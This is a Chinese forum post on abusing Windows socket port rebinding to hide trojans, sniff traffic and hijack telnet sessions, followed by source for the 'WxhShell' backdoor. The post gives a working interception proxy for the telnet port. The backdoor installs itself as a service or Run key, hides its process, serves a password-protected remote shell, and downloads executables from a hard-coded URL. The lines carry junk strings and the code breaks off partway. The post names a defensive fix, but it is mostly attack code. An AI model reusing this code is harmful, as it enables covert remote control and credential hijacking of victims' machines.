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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [&_c.ti  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %N.qu_,IZ  
+2&+Gh.h  
  saddr.sin_family = AF_INET; +,wCV2>\3  
[*i6?5}-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); znVao %b  
C{g Y*+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LS(J%\hMDm  
b Ag>;e(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j=>:{`*c  
/U1&#"P  
  这意味着什么?意味着可以进行如下的攻击: svT1b'=\$I  
Gh.@l\|tf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <OR f{  
;`CNe$y   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A08b=S  
FEoH$.4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;giW  
e3YdHp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I{rW+<)QGC  
Wa{()Cz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 85fv])\y  
&i/QFO7y}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WJXQM[  
!`UHr]HJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %+A z X  
Lc0yLm  
  #include <Oyxzs  
  #include a d,0*(</  
  #include iD/r8_}  
  #include    wfE%` 1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z{#;my*X|  
  int main() PR{y84$  
  { (K"8kQLY  
  WORD wVersionRequested; =5 zx]N1r  
  DWORD ret; RMrrLT  
  WSADATA wsaData; >%PPp.R  
  BOOL val; b0vbE8wa  
  SOCKADDR_IN saddr; @-g'BvS  
  SOCKADDR_IN scaddr; Hf^Tok^6@]  
  int err; z'9Mg]&>  
  SOCKET s; h_w_OCC&2  
  SOCKET sc;  oJ<Wh @  
  int caddsize; fD>0  
  HANDLE mt; UN,y /V  
  DWORD tid;   fxR}a,a  
  wVersionRequested = MAKEWORD( 2, 2 ); $ 2/T]  
  err = WSAStartup( wVersionRequested, &wsaData ); BAQ;.N4  
  if ( err != 0 ) { \q |n0>  
  printf("error!WSAStartup failed!\n"); @qGg=)T  
  return -1; vWM'}(  
  } {1jywb }  
  saddr.sin_family = AF_INET; #c2InwZV  
   s3., N|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L.]mC !  
 `LWZ!Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1zz.`.R2U  
  saddr.sin_port = htons(23); ":o1g5?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GNv5yWQ@  
  { pPezy:  
  printf("error!socket failed!\n"); l}Fa-9_'  
  return -1; ;4g_~fB  
  } #9Fe,  
  val = TRUE; TLkJZ4}?Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /p&)bL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Za66<:  
  { qL\*rYe<  
  printf("error!setsockopt failed!\n"); HJ\CGYmyz  
  return -1; 2k^dxk~$V;  
  } qtv>`:neB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FyZiiH4|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /G>reG,G  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j5cc"s  
[xVE0l*\   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  ;7F|g  
  { kOe~0xoT@u  
  ret=GetLastError(); .W>8bg'u9  
  printf("error!bind failed!\n"); !iOuIYjV  
  return -1; V r0-/T  
  } e$wbYByW  
  listen(s,2); .)wj{(>TJ  
  while(1) /)ubyl]^p  
  { vGk}r  
  caddsize = sizeof(scaddr); !Qg%d&q.Sx  
  //接受连接请求 ;[_w&"[6a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); JqDj)}fzX  
  if(sc!=INVALID_SOCKET) K 7x,>  
  { .%@=,+nqz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oc2aE:>X  
  if(mt==NULL) h)M9Oup`  
  { Kk^tQwj/QE  
  printf("Thread Creat Failed!\n"); <N{pMz  
  break; FZ)Y<r8|s  
  } 7{vnhl(Z  
  } zn |=Q$81  
  CloseHandle(mt); C+WHg-l  
  } 6$'6x2,  
  closesocket(s); aE_)iE|  
  WSACleanup(); OGy/8B2c  
  return 0; p,?8s%  
  }   N".-]bB  
  DWORD WINAPI ClientThread(LPVOID lpParam) LRhq%7p7  
  { kUJ\AK  
  SOCKET ss = (SOCKET)lpParam; GQ-o wH]  
  SOCKET sc; #0-!P+c[  
  unsigned char buf[4096]; vWJhSpC[  
  SOCKADDR_IN saddr; 5T[9|zJs  
  long num; ==psPyLF@  
  DWORD val; i*9l  
  DWORD ret; o(W|BD!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @"~Mglgw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %qzpt{'?<  
  saddr.sin_family = AF_INET; u+]v. Mt  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mf26AIlkQ  
  saddr.sin_port = htons(23); y>S.B/ d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F_SkS?dB  
  { !Xwp;P=  
  printf("error!socket failed!\n"); @"}dbW<DV  
  return -1; ksxacRA7\  
  } `p&ko$i2  
  val = 100; Ne]/ sQ0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ; y#6Nx,:  
  { -=E/_c;  
  ret = GetLastError(); yG0Wr=/<?  
  return -1; X$O,L[] 4  
  } 6,'!z ?d%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }9=\#Le~\  
  { O_f|R1G5z  
  ret = GetLastError(); /$hfd?L  
  return -1; 9Byk/&$U  
  } V*l0| ,9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4/{Io &|  
  { (k"oV>a|  
  printf("error!socket connect failed!\n"); _"Q +G@@  
  closesocket(sc); %iI0JF*E z  
  closesocket(ss); Z6&s 6MF  
  return -1; N0c+V["s  
  } `8F%bc54iw  
  while(1) b`n+[UCPtn  
  { D PnKr/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oHmU|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x8T5aS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /KEPPp  
  num = recv(ss,buf,4096,0); Tk-PCra  
  if(num>0) u[U~`*i*rA  
  send(sc,buf,num,0); do{#y*B/g!  
  else if(num==0) 8w|j Z@  
  break; +G&h  
  num = recv(sc,buf,4096,0); E{r_CR+8  
  if(num>0) ,_T,B'a:  
  send(ss,buf,num,0); "b*.>QuZ  
  else if(num==0) {KL<Hx2M  
  break; &Ko}Pv  
  } RR:m <9l  
  closesocket(ss); [pbX_  
  closesocket(sc); J p .wg  
  return 0 ; CF^7 {g(y_  
  } t8s1d  
l)z15e5X  
>TsJ0E?3x  
========================================================== @+}Q<  
)BTJs)E  
下边附上一个代码,,WXhSHELL ?9i7+Y"  
$B4}('&4FQ  
========================================================== ,"PwNv  
iQ-;0<=G  
#include "stdafx.h" n?pCMS|  
i{VjSWq  
#include <stdio.h> .jr1<LE  
#include <string.h> Ta!.oC[  
#include <windows.h> g\ @nA4  
#include <winsock2.h> n/s!S &  
#include <winsvc.h> *6Rl[eXS  
#include <urlmon.h> 'N5qX>Ob  
O6;>]/`  
#pragma comment (lib, "Ws2_32.lib") m7kDxs(KO  
#pragma comment (lib, "urlmon.lib") $BE^'5G&4Y  
 ~u8}s4  
#define MAX_USER   100 // 最大客户端连接数 ^lu)'z%6  
#define BUF_SOCK   200 // sock buffer N{/q p  
#define KEY_BUFF   255 // 输入 buffer X3]E8)645N  
|.:O$/ Tt[  
#define REBOOT     0   // 重启 )1j~(C)E8  
#define SHUTDOWN   1   // 关机 ;ijJ%/  
5"y p|Yl  
#define DEF_PORT   5000 // 监听端口 svyC(m)'  
K4n1#]8i  
#define REG_LEN     16   // 注册表键长度 5]; 8  
#define SVC_LEN     80   // NT服务名长度 ;k7` `  
6kT l(+  
// 从dll定义API xbo-~{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qPE(Lt1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z.Y7u3K.8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HcHfwLin0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %8$JL=c  
2>fG}qYy$  
// wxhshell配置信息 yL.si)h(p  
struct WSCFG { yixW>W}  
  int ws_port;         // 监听端口 lIzJO$8cM  
  char ws_passstr[REG_LEN]; // 口令 [p!C+ |rro  
  int ws_autoins;       // 安装标记, 1=yes 0=no A i9*w?C  
  char ws_regname[REG_LEN]; // 注册表键名 K;6K!6J:[  
  char ws_svcname[REG_LEN]; // 服务名 #Opfc8pm'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FPMhHHM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  R76'1o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <$Uj ~jN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :v{ $]wg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #TW$J/Jb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9z'</tJ`  
V.Xz n  
}; ~JLqx/[|s  
v_c'npC  
// default Wxhshell configuration ![abDT5![  
struct WSCFG wscfg={DEF_PORT, <?qmB }Y  
    "xuhuanlingzhe", J-?\,N1R7  
    1, &O0+\A9tP  
    "Wxhshell", z8Dn<h  
    "Wxhshell", s ^V8FH  
            "WxhShell Service", }~QB2&3  
    "Wrsky Windows CmdShell Service", mSw OP  
    "Please Input Your Password: ", 5Tu#o ()  
  1, l`I]eTo)^  
  "http://www.wrsky.com/wxhshell.exe", {k?Y :  
  "Wxhshell.exe" f[.hN  
    }; nZ\,ZqV  
aE#ZTc=  
// 消息定义模块 Q(]-\L'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &1Cq+YpI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d'[aOH4}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0M8JE9 Kx  
char *msg_ws_ext="\n\rExit."; K:y q^T7  
char *msg_ws_end="\n\rQuit."; >j`*-(`2fa  
char *msg_ws_boot="\n\rReboot..."; [b#jw,7  
char *msg_ws_poff="\n\rShutdown...";  b 1[U 9  
char *msg_ws_down="\n\rSave to "; j{U-=[$'  
'R]Z9h  
char *msg_ws_err="\n\rErr!"; M5ZWcD.1  
char *msg_ws_ok="\n\rOK!"; q`$QroZT"  
sgX}`JH?z  
char ExeFile[MAX_PATH]; w,}}mC)\*  
int nUser = 0; n"FOCcTIs  
HANDLE handles[MAX_USER]; g+k6pi*  
int OsIsNt; f6|3| +  
iU%Gvf^?'5  
SERVICE_STATUS       serviceStatus; HENCQ_Wra  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )&R;!#;5  
^G2vA8%  
// 函数声明 3l L:vD5(  
int Install(void); M0]l!x#7  
int Uninstall(void); 6J|f^W-fs  
int DownloadFile(char *sURL, SOCKET wsh); mu{%%b7|^  
int Boot(int flag); =JVRm 2#*  
void HideProc(void); IB!Wrnj?  
int GetOsVer(void); o~4n8  
int Wxhshell(SOCKET wsl); !zJ.rYZ=g`  
void TalkWithClient(void *cs); ~-:CN(U  
int CmdShell(SOCKET sock); &PgdCijGq;  
int StartFromService(void);  v$tS 2N2  
int StartWxhshell(LPSTR lpCmdLine); cF(9[8c{  
4tuEC-oh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M9&tys[KX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ml\|  
FwW%@Y  
// 数据结构和表定义 +] 5a(/m.~  
SERVICE_TABLE_ENTRY DispatchTable[] = _r8AO>  
{ \clWrK  
{wscfg.ws_svcname, NTServiceMain}, so8-e  
{NULL, NULL} 23OV y^b  
}; \FKIEg+(2  
6op\g].P  
// 自我安装 RDqC$Gu  
int Install(void) /GeS(xzQ  
{ |Q I3H]T7  
  char svExeFile[MAX_PATH];  +;!w;t  
  HKEY key; WX=+\`NyJ(  
  strcpy(svExeFile,ExeFile); P)\f\yb  
4Dd9cG,lN  
// 如果是win9x系统,修改注册表设为自启动 RsOK5XnQn  
if(!OsIsNt) { " LxJPt\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @2$8o]et  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }`M6+.z3F  
  RegCloseKey(key); 4xYo2X,B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < Ihn1?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <bjy<98LT  
  RegCloseKey(key); .N'UnKz  
  return 0; Q` s(T  
    } ^CE:?>a$  
  } *ap#*}r!Nk  
} [`b{eLCFX]  
else { VuBp$H(U  
 mPD'"  
// 如果是NT以上系统,安装为系统服务 mY AFruN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >L;O, {Px-  
if (schSCManager!=0) Ucy9fM  
{ ;C{_T:LS  
  SC_HANDLE schService = CreateService *AA1e}R{B  
  ( #rC/y0niH  
  schSCManager, \bsm#vY,  
  wscfg.ws_svcname, ibAA:I,d  
  wscfg.ws_svcdisp, d{trO;%#f  
  SERVICE_ALL_ACCESS, LtU+w*Gj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wS^-o  
  SERVICE_AUTO_START, v6n(<0:  
  SERVICE_ERROR_NORMAL, T*ic?!  
  svExeFile, c"$_V[m  
  NULL, -)Vj08aP  
  NULL, s-ou;S3s  
  NULL, A^Zs?<C-  
  NULL, &p%ctg  
  NULL K@,VR3y /  
  ); WE"'3u^k  
  if (schService!=0) .=FJ5?:4i%  
  { #Nd+X@j  
  CloseServiceHandle(schService); 2X]\:<[4  
  CloseServiceHandle(schSCManager); B>mQ\Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !I Nr  
  strcat(svExeFile,wscfg.ws_svcname); pqr" x2=.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a&[nVu+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BY d3rI  
  RegCloseKey(key); ={Hbx> p  
  return 0; Sce9R?II  
    } Zk[#B UA  
  } 5jLDe~  
  CloseServiceHandle(schSCManager); `2oi~^.  
} `WT7w']NT  
} i*tj@5MY-  
QM]^@2rK2  
return 1; ^v'Lu!\f  
} {8MF!CG]  
9e5UTJ  
// 自我卸载 re!CF8 q  
int Uninstall(void) QHh#O+by#  
{ AK!G#ug  
  HKEY key; S=2,jPX2r  
EGt)tI&  
if(!OsIsNt) { )?WoL Ejq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U_~~PCi  
  RegDeleteValue(key,wscfg.ws_regname); f,#xicSB*  
  RegCloseKey(key); E*l"uV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;:4puv+]  
  RegDeleteValue(key,wscfg.ws_regname); '$zFGq }}  
  RegCloseKey(key); hMQ aT-v  
  return 0; 0>`69&;g|  
  } MI}D%n*  
} qSd $$L^  
} fm* Hk57  
else { 'n no)kQ"  
x,%&[ 6(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qi61(lK  
if (schSCManager!=0) 3C2 >   
{ &M!:,B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "mf;k^sqS  
  if (schService!=0) i&$uG[&P  
  { #o RUH8  
  if(DeleteService(schService)!=0) { Sf8d|R@O  
  CloseServiceHandle(schService); E(8g(?4  
  CloseServiceHandle(schSCManager); rBf?kDt6l  
  return 0; Ydx5kUJV<  
  } ;k8}D*?8  
  CloseServiceHandle(schService); }0( Na  
  } SD&[K 8-i2  
  CloseServiceHandle(schSCManager); f- <6T  
} 2YyZiOMSc  
} ?q P }=nJ  
:9b RuUm  
return 1; >g&`g}xZQ  
} qHCs{ u  
X3[!xMij  
// 从指定url下载文件 :dzU]pk%0  
int DownloadFile(char *sURL, SOCKET wsh) :m\KQ1sq  
{ u_B SWhiW  
  HRESULT hr; hqPn~Tq  
char seps[]= "/"; W<Lrfo&=Y]  
char *token; g$b*#  
char *file; .IXwa,  
char myURL[MAX_PATH]; y#+o*(=fRE  
char myFILE[MAX_PATH]; 4_<Uk  
* 5n:+Tw(  
strcpy(myURL,sURL); J%)2,szn0  
  token=strtok(myURL,seps); w%;'uN_  
  while(token!=NULL) .D .Rn/  
  { l 5FQ!>IM  
    file=token; umzYJ>2t  
  token=strtok(NULL,seps); Pcs@`&}7r  
  } [/G;XHL;?  
R5"p7>  
GetCurrentDirectory(MAX_PATH,myFILE); T8-$[ 2  
strcat(myFILE, "\\"); :3f2^(b~^  
strcat(myFILE, file); &}O!l'  
  send(wsh,myFILE,strlen(myFILE),0); jvQ"cs$.  
send(wsh,"...",3,0); }H=OVbQor  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (Y([^N q  
  if(hr==S_OK) }Kt?0  
return 0; %5%Wo(W'  
else wY#mL1dF  
return 1; Bv8C_-lV/  
VaxO L61xE  
} __j8jEV  
nY)Pxahm7  
// 系统电源模块 `Tj}4f  
int Boot(int flag) 3;NRW+  
{ F]YKYF'1I  
  HANDLE hToken; Q8y|:tb$Y  
  TOKEN_PRIVILEGES tkp; >U?Bka!  
lWvd"Vlt  
  if(OsIsNt) { gQWX<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2r,'4%G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gq/6{eRo\  
    tkp.PrivilegeCount = 1; k 5D'RD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;L2bC3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @'@6vC  
if(flag==REBOOT) { SWpUVZyd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Tm\[q  
  return 0; OU@x1G{Cy  
} V%lGJ]ZEa  
else { :N*T2mP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C`wI6!  
  return 0; e6lOmgHn5  
} K"7;Y#1g  
  } K/`RZ!  
  else { z :v, Vu  
if(flag==REBOOT) { p^P y,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "Q{~Bj~  
  return 0; 4/?}xD|?  
} ~uadivli  
else { S7{.liHf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) % VpBB  
  return 0; ~+C?][T  
} 8"mW!M  
} D^55:\4(  
W"(`n4hi3  
return 1; pm~;:#z7  
} I^(#\vRW  
}Y`<(V5:  
// win9x进程隐藏模块 j#t8Krd] "  
void HideProc(void) +wozjjc  
{ x }'4^Cv  
:xS&Y\ry  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); siYRRr  
  if ( hKernel != NULL ) Y>Hl0$:=  
  { uhB!k-ir  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); orH0M!OtS!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ApYud?0b  
    FreeLibrary(hKernel); x ;,xd  
  } d`uO7jlm  
v9m;vWp  
return; +\GZ(!~  
} WwtE=od  
yr2L  
// 获取操作系统版本 \&&(ytL  
int GetOsVer(void) ) Zo_6%  
{ 9,f<Nb(\  
  OSVERSIONINFO winfo; L8wcH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @[tV_Z%,b  
  GetVersionEx(&winfo); 8sIA;r%S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AAq=,=:R<  
  return 1; F(9 Y/UXH  
  else &v5.;8u+OV  
  return 0; _iJXp0g  
} :dIQV(iW  
;'QY<,p[e  
// 客户端句柄模块 e ]o'i;I  
int Wxhshell(SOCKET wsl) =yX&p:-&  
{ r>~d[,^$m4  
  SOCKET wsh; o 7W Kh=  
  struct sockaddr_in client; 4:&qT Y)H  
  DWORD myID; in #]3QGV  
m+2`"1IE[  
  while(nUser<MAX_USER) yISQYvSN  
{ aT:AxYn8  
  int nSize=sizeof(client); L'XdX\5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |F@xwfgb  
  if(wsh==INVALID_SOCKET) return 1; x X/s1(P  
IAF;mv}'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lI_Yb:  
if(handles[nUser]==0) M'zS7=F!:  
  closesocket(wsh); 5 k%9>U%$  
else S=H_9io  
  nUser++; 0T#xM(q[K  
  } N&^xq_9&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h@;)dLo0z  
1i/::4=  
  return 0; ~,*YmB=Z  
} T<+ht8&M8  
I+"?,Ej$K  
// 关闭 socket $.Q>M]xH  
void CloseIt(SOCKET wsh) N^ s!!Sbpq  
{ p&sK\   
closesocket(wsh); VkDS&g~Ws  
nUser--; XQ 3*  
ExitThread(0); 4Kn9*V  
} mvq7G  
 6Z&u  
// 客户端请求句柄 ]osx.  
void TalkWithClient(void *cs) ]TBtLU3  
{ Bug}^t{M  
YYE8/\+B.  
  SOCKET wsh=(SOCKET)cs; Z@,PZ   
  char pwd[SVC_LEN]; {!}F :~*r  
  char cmd[KEY_BUFF]; w^])(  
char chr[1]; qfG tUkSSb  
int i,j; 6`qr:.  
Q:kVCm/;  
  while (nUser < MAX_USER) { HS\3)Ooj>  
>bA$SN  
if(wscfg.ws_passstr) { UiR,^/8ED  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r%F(?gKXkd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _+\:OB[Y  
  //ZeroMemory(pwd,KEY_BUFF); lH)em.#  
      i=0; xY2}Wr j,  
  while(i<SVC_LEN) { BjyXQ9D  
-jxWlO  
  // 设置超时 * {gxI<   
  fd_set FdRead; &I RA=nJ  
  struct timeval TimeOut; ZUXse1,  
  FD_ZERO(&FdRead); s~LZOPN  
  FD_SET(wsh,&FdRead); Z .bit_(  
  TimeOut.tv_sec=8; >v1 y0zx  
  TimeOut.tv_usec=0; }KA-t}8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9p2>`L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6Lg!L odu  
@A2/@]HBm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X a"XB  
  pwd=chr[0]; lI4J=8O0  
  if(chr[0]==0xd || chr[0]==0xa) { Q+b.-iWR  
  pwd=0; >+:r '  
  break; 6Z(*cf/s  
  } `10X5V@hP  
  i++; 5#0A`QO   
    } 0R@g(  
#vj#! 1  
  // 如果是非法用户,关闭 socket $ZI~8rI~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $5lW)q A  
} =[P%_v``  
~V2ajM1Z&O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4= Tpi`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]*2EK9<  
h L]8e>a?  
while(1) { z;dcAdz9  
k,,!P""  
  ZeroMemory(cmd,KEY_BUFF); 731h ~x!u  
(0E U3w?]  
      // 自动支持客户端 telnet标准   Vk-W8[W 7  
  j=0; I9}+(6  
  while(j<KEY_BUFF) { )L |tn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |N:MZ#};  
  cmd[j]=chr[0]; dD/t_ {h  
  if(chr[0]==0xa || chr[0]==0xd) { PwW^y#96  
  cmd[j]=0; sDLS*467  
  break; :1aL9 fT  
  } CAUijMI@  
  j++; e'1 ^+*bU  
    }  Y*@|My`  
!8xKf*y  
  // 下载文件 zmf"I[)  
  if(strstr(cmd,"http://")) { /Hv* K&}M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $gVLk.  
  if(DownloadFile(cmd,wsh)) %z*29iKlI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I*D<J$ 9N  
  else v%lv8Lar'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $sEB'>:  
  } @Ex;9F,Q  
  else { })@tA<+  
bh6d./  
    switch(cmd[0]) { >0PUWr$8  
  f.| |PH  
  // 帮助 \ V6   
  case '?': { }{ n\tzR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \Yj#2ww  
    break; =~J"kC  
  } Ovv ny$  
  // 安装 XtCoX\da  
  case 'i': { tM&n3MWQ  
    if(Install()) \n#]%X5c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hqvc7-c6  
    else >b>M Km>q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PzjaCp'  
    break; q@w{c=  
    } 1g1?zk8zO  
  // 卸载 |*:tyP%m^  
  case 'r': { 5k69F   
    if(Uninstall()) RCI4~q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aH%ZetLNJ  
    else E;6~R M:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uie~'K\y  
    break; [UMLx  
    } ?VB#GJ0M9  
  // 显示 wxhshell 所在路径 s=MT,  
  case 'p': { -b cG[W3  
    char svExeFile[MAX_PATH]; \a"i7Caa  
    strcpy(svExeFile,"\n\r"); oEJaH  
      strcat(svExeFile,ExeFile);  *p=fi  
        send(wsh,svExeFile,strlen(svExeFile),0); RI-A"cc6A  
    break; }2l O _i}L  
    } ;SgD 5Ln}  
  // 重启 &K>cW$h=a  
  case 'b': { +UzXN$73  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %`#G92Z_  
    if(Boot(REBOOT)) lR:?uZ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8O6_iGTBh  
    else { 4otl_l(`yv  
    closesocket(wsh); aqF+zPKs6  
    ExitThread(0); 5C/2b.-[  
    } LfEvc2 v=g  
    break; R :"+ #Sq  
    } Z!= L   
  // 关机 .(|+oHg<  
